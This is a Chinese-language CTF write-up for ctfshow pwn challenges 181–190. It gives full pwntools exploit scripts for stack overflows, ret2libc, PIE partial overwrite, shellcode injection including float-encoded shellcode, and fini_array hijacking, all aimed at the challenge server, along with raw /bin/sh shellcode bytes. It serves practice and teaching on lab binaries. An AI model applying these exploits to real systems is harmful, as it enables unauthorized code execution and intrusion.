前言

这段时间没搞过pwn了，发现ctfshow wp更新了，那就来学一下吧😋（绝对不是这个原因🙅）

随缘更~~

181–ret2text

直接就是栈溢出了

image-20241117145004612

能覆盖返回地址三字节

image-20241117151046230

函数表里面有个Mid函数读flag，直接返回即可

image-20241117151616195

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#coding:utf-8
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
    # context.log_level = 'info'
    IPort = 'pwn.challenge.ctf.show 28220'
    pwnfile = './181'
    libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
    elf  = ELF(pwnfile)

    io = init(pwnfile, IPort, libc_name)
    # debug('b *0x80487c1')

    payload = b'a'*0x16 + b'\xD6\x85\x04'
    sl(payload)

    itr()

182–重定向输出

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int init()
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  return fclose(_bss_start);  //关闭标准输出
}

image-20241117152532221

183–ret2libc

栈溢出，打ret2libc hint给了libc

image-20241117153544110

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#coding:utf-8
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
    # context.log_level = 'info'
    IPort = 'pwn.challenge.ctf.show 28312'
    pwnfile = './183'
    libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
    elf  = ELF(pwnfile)

    io = init(pwnfile, IPort, libc_name)
    # debug('b *0x80487c1')
    prdi = 0x0000000000400873
    ret  = 0x0000000000400546

    ru(b'0x')
    puts_addr = int(r(12),16)
    leak('puts_addr', puts_addr)   # libc6_2.27-3ubuntu1.5_amd64
    libc = LibcSearcher("puts", puts_addr)
    libc_base   = puts_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    bin_sh      = libc_base + libc.dump('str_bin_sh')
    leak('libc_base', libc_base)

    payload = b'a'*0x68 + p64(ret) + p64(prdi) + p64(bin_sh) + p64(system_addr)
    # debug('b *0x4007c5')
    sl(payload)

    itr()

184–pie_修改低位

栈溢出

image-20241117155254002

开了pie，覆盖返回地址低2字节为0x?735(bin)

image-20241117155719759

十六分之一的概率，没有写爆破脚本

image-20241117160033819

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#coding:utf-8
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
    # context.log_level = 'info'
    IPort = 'pwn.challenge.ctf.show 28107'
    pwnfile = './184'
    libc_name = '/lib/i386-linux-gnu/libc.so.6'
    elf  = ELF(pwnfile)

    io = init(pwnfile, IPort, libc_name)
    # debug('b *$rebase(0x077d)')

    payload = b'a'*0x20 + p16(0xa735)
    s(payload)

    itr()

185–ret2shellcode

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int ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  puts("What's your name?");
  fflush(stdout);
  gets(s);
  puts("What's your favorite PWN's Type?");
  puts("1.odd number is stack\n2.even number is heap");
  fflush(stdout);
  __isoc99_scanf("%d", &type);
  if ( (type & 1) != 0 )
    printf("Hello %s,%d is interesting", s, type);
  else
    printf("Hello %s,%d is challenging", s, type);
  return fflush(stdout);
}

知识点：

printf 这样的函数不是直接打印到屏幕上的，而是先放在一个缓冲区中（stdout）中。如果收到了一个换行符，就会把这个缓冲区的内容打印到屏幕上，并清空。而 fflush 的作用就是直接把缓冲区的内容打印到屏幕上，并清空缓冲区。不必等换行符。

不好二次挟持控制流，由于没开NX，往栈上写shellcode 找一些有关esp的gadget来调栈

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#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
    # context.log_level = 'info'
    
    IPort = 'pwn.challenge.ctf.show 28272'
    pwnfile = './185'
    libc_name = '/lib/i386-linux-gnu/libc.so.6' 
    # libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
    elf  = ELF(pwnfile)
    rop  = ROP(pwnfile)

    io = init(pwnfile, IPort, libc_name)
    # system_addr = elf.sym['system']
    puts_plt    = elf.sym['puts']
    puts_got    = elf.got['puts']
    printf      = elf.sym['printf']

    # 0x08048531 : mov ebp, esp ; pop ebp ; jmp 0x80484c0
    # 0x08048451 : push esp ; mov ebx, dword ptr [esp] ; ret

    payload = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'.ljust(0x2c, b'\x00') + p32(0x08048451) + asm("sub esp, 0x30; mov eax, esp; call eax")
    # debug('b *0x8048737 ')
    sla(b'What\'s your name?', payload)
    sla(b'1.odd number is stack\n2.even number is heap', str(1))

    itr()

186–shellcode绕过

由mmap创造出来了一片可执行区域

image-20241117160836895

check函数 反转字符串

image-20241117161504317

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#coding:utf-8
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
    # context.log_level = 'info'
    IPort = 'pwn.challenge.ctf.show 28217'
    pwnfile = './186'
    libc_name = '/lib/i386-linux-gnu/libc.so.6'
    elf  = ELF(pwnfile)

    io = init(pwnfile, IPort, libc_name)
    # debug('b *0x8048809')
    sh = asm(shellcraft.sh())[::-1]
    s(sh)

    itr()

187–浮点数shellcode绕过

pctf 2016 fixedpoint

https://www.voidsecurity.in/2016/04/plaid-ctf-2016-fixedpoint.html

源码

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#include <stdlib.h>
#include <sys/mman.h>
#include <stdio.h>

int main(int argc, char** argv) {
  float* array = mmap(0, sizeof(float)*8192, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  int i;
  int temp;
  float ftemp;

  for (i = 0; i < 8192; i++) {
    if (!scanf("%d", &temp)) break;
    array[i] = ((float)temp)/1337.0;
  }
  write(1, "here we go\n", 11);
  (*(void(*)())array)();
}
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#include <stdio.h>
#include <string.h>
#include <capstone/capstone.h>

// gcc -std=c99 -o fixedpoint_disass fixedpoint_disass.c -lcapstone
// usage : ./fixedpoint_disass -100000 100000

int disass(unsigned int num, char *code)  // 使用 Capstone 反汇编框架将传入的字节码进行反汇编，并打印反汇编的结果。
{
    csh handle;
    cs_insn *insn;
    size_t count = 0;
    size_t inssz = 0;

    if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK) // 初始化 Capstone 句柄，指定架构为 CS_ARCH_X86 和模式为 32 位 (CS_MODE_32)
        return EXIT_FAILURE;

    count = cs_disasm(handle, code, sizeof(float), 0, 0, &insn);  // 对传入的字节码进行反汇编

    if (count > 0) {

        for (int i = 0; i < count; i++) inssz += insn[i].size;

        // 检查是否所有字节都被反汇编
        if (inssz == sizeof(float)) {

            for (int i = 0; i < count; i++) 
                printf("%d :\t%s\t\t%s\n", num, insn[i].mnemonic, insn[i].op_str);
        }

        cs_free(insn, count);
    }

    cs_close(&handle);
    return 0;
}

int main(int argc, char **argv)
{
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <from> <till>\n", argv[0]);
        return EXIT_FAILURE;
    }

    int from = atoi(argv[1]);  // 起始整数（可能是负数）
    int till = atoi(argv[2]);  // 结束整数（可能是负数）
    char opcode[8] = {0};
    float bytes;

    for (int num = from; num <= till; num++) {
        bytes = num / 1337.0;                       
        memcpy(opcode, (char *)&bytes, sizeof(float));       // 将浮点数的字节拷贝到opcode数组
        disass(num, opcode);                                 // 反汇编
    }

    return 0;
}

扩大范围找到可用gadget即可

image-20241117163751508

这里直接抄了（偷懒zzz）

由于没开NX，可以往栈上写shellcode执行，控制一下寄存器就行了

攻击思路：先构造一个read来往栈上写shellcode，然后调整寄存器值，利用call

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#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *


if __name__ == '__main__' :
    # context.log_level = 'info'
    IPort = 'pwn.challenge.ctf.show 28258'
    pwnfile = './187'
    libc_name = '/lib/i386-linux-gnu/libc.so.6' 
    elf  = ELF(pwnfile)
    rop  = ROP(pwnfile)
    libc = ELF(libc_name)

    io = init(pwnfile, IPort, libc_name)
    # debug('b *0x8048712')
    sh = asm(shellcraft.i386.linux.sh())
    s(b"-22942\n") #mov ecx,eax (array postition)
    s(b"-3701\n")  #xor eax,eax
    s(b"64931\n")  #inc eax
    s(b"64931\n")
    s(b"72953\n")  #inc eax, pop edx (eax=3, edx=a big number)
    s(b"73320\n")  #pop ebx until ebx=0
    s(b"73320\n")
    s(b"73320\n")
    s(b"73320\n")
    s(b"73320\n")
    s(b"73320\n")
    s(b"21526\n")  #int 0x80

    # debug('b *0x8048712')
    s(b"0\n"*(8192-12))
    ru(b'go')
    s(b"\x90"*0x100+sh+b'\n')

    # debug()
    itr()

188–login爆破

爆破完了就是ret2libc

image-20241117164042140

爆破脚本：

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import string

def reverse_hash(target_v3):
    MOD = 2018110700000
    MULT = ord('u') 
    
    charset = string.ascii_letters + string.digits + string.punctuation

    def reverse_step(v3):
        for char in charset:
            char_value = ord(char)
            if (v3 - char_value) % MULT == 0:
                return char
        return None
    
    def find_string(v3):
        result = []
        while v3 > 0:
            char = reverse_step(v3)
            if char:
                result.append(char)
                v3 = (v3 - ord(char))
            else:
                break
        return ''.join(reversed(result))
    
    return find_string(target_v3)

target_v3 = 22493966389

possible_str = reverse_hash(target_v3)
print(f"Possible string: {possible_str}")

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#coding:utf-8
from pwn import *
from tw11ty import *
from LibcSearcher import *
#from ctypes import *


if __name__ == '__main__' :
    # context.log_level = 'info'
    IPort = 'pwn.challenge.ctf.show 28182'
    pwnfile = './188'
    libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
    # libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
    elf  = ELF(pwnfile)
    rop  = ROP(pwnfile)
    # libc = ELF(libc_name)

    io = init(pwnfile, IPort, libc_name)
    
    sla(b'Please input your name:', b'wyBTs')
    prdi = 0x0000000000400a93

    payload = b'a'*0x78 + p64(0x0000000000400a93) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['ctfshow'])

    # debug('b *0x004008CC')
    sla(b'Please input your code to save\n', payload)
    puts_addr = uu64(r64())
    libc = LibcSearcher("puts", puts_addr)
    libc_base   = puts_addr - libc.dump("puts")
    system_addr = libc_base + libc.dump('system')
    bin_sh      = libc_base + libc.dump('str_bin_sh')

    payload = b'a'*0x78 + p64(0x0000000000400a93) + p64(bin_sh) + p64(0x000000000040028e) + p64(system_addr)
    sla(b'Please input your code to save\n', payload)

    # debug('b *0x04009F5 \n tele 0x0602080')
    itr()

189–fini_array利用

静态编译去了符号表（恼）

由_start找到main，稍微修复一下，这里题目比较简单就手动修复了

符号表修复方法：

  • 基于签名文件的符号表还原
  • FLIRT
  • RIZZO
  • Lscan
  • Syms2ELF
  • 基于BinDiff的符号表还原
  • Zynamic Bindiif
  • Diaphora

image-20241117165618261

结合调试发现能过够实现任意地址一次写

使用fini_array来进行利用。byte_4B9330为2字节长度，循环256次后会上溢

fini_array利用：fini_array劫持 - 先知社区

image-20241118184831662

libc_csu_init 在 main 开始前执行 , libc_csu_fini 在 main执行完后执行

后面需要再利用ret2syscall进行调用execve(‘/bin/sh’, 0, 0)

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#coding:utf-8
from tw11ty import *
#from ctypes import *
def _(addr, data):
    sa(b"addr:", str(addr))
    sa(b"data:", data)
    
if __name__ == '__main__' :
    # context.log_level = 'info'
    IPort = 'pwn.challenge.ctf.show 28122'
    pwnfile = './189'
    libc_name = '/lib/x86_64-linux-gnu/libc.so.6'   
    elf  = ELF(pwnfile)

    io = init(pwnfile, IPort, libc_name)

    fini_array = 0x4b40f0
    main       = 0x401B6D
    libc_csu_fini = 0x402960
    bss        = 0x4b92e0

    prax = 0x000000000041e4af
    prdi = 0x0000000000401696
    prsi = 0x0000000000406c30
    prdx = 0x0000000000446e35
    syscall = 0x00000000004022b4
    lret = 0x0000000000401c4b
    ret  = 0x0000000000401016

    pop = fini_array + 0x10

    _(fini_array, p64(libc_csu_fini) + p64(main))
    _(bss, b'/bin/sh')
    _(pop,     p64(prax) + p64(59) + p64(prdi))
    _(pop+0x18, p64(bss) + p64(prsi) + p64(0))
    _(pop+0x30, p64(prdx) + p64(0) + p64(syscall))
    # ru(b'addr')
    # debug('b *0x0401B94')  #看rbp来判断执行leave ret实现栈迁移
    _(fini_array, p64(lret)+p64(ret))

    itr()

190–32位非栈上格式化字符串

改fgets_got为system需要泄露libc，远程libc版本为2.27-3ubuntu1.6_i386